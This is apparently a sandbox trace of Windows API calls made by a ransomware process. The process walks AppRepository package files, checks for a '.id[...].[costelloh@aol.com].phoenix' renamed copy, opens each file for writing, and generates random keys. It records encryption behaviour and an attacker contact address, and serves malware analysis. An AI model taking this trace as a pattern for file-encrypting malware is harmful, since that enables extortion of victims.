	[0262.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.148] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.148] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.148] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.150] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=28672) returned 1
	[0262.150] CloseHandle (hObject=0x2c0) returned 1
	[0262.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.150] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.150] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.150] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.151] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.151] CloseHandle (hObject=0x2c0) returned 1
	[0262.151] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.151] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.158] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5360) returned 1
	[0262.158] CloseHandle (hObject=0x2e0) returned 1
	[0262.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.158] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.159] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.159] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.171] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=972) returned 1
	[0262.171] CloseHandle (hObject=0x2e0) returned 1
	[0262.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.171] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.172] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=32768) returned 1
	[0262.173] CloseHandle (hObject=0x2e0) returned 1
	[0262.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.173] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.173] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.173] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.173] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.174] CloseHandle (hObject=0x2e0) returned 1
	[0262.174] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.174] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.176] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5928) returned 1
	[0262.176] CloseHandle (hObject=0x2e0) returned 1
	[0262.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.177] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.177] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.177] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.178] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=12288) returned 1
	[0262.178] CloseHandle (hObject=0x2e0) returned 1
	[0262.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.179] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.179] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.179] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.182] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.182] CloseHandle (hObject=0x2e4) returned 1
	[0262.182] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.182] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.183] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2240) returned 1
	[0262.183] CloseHandle (hObject=0x2e4) returned 1
	[0262.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.183] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.184] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.184] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.274] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=928) returned 1
	[0262.274] CloseHandle (hObject=0x2c0) returned 1
	[0262.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.274] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.276] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.276] CloseHandle (hObject=0x2c0) returned 1
	[0262.276] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.276] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.277] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=4820) returned 1
	[0262.277] CloseHandle (hObject=0x2c0) returned 1
	[0262.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.277] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
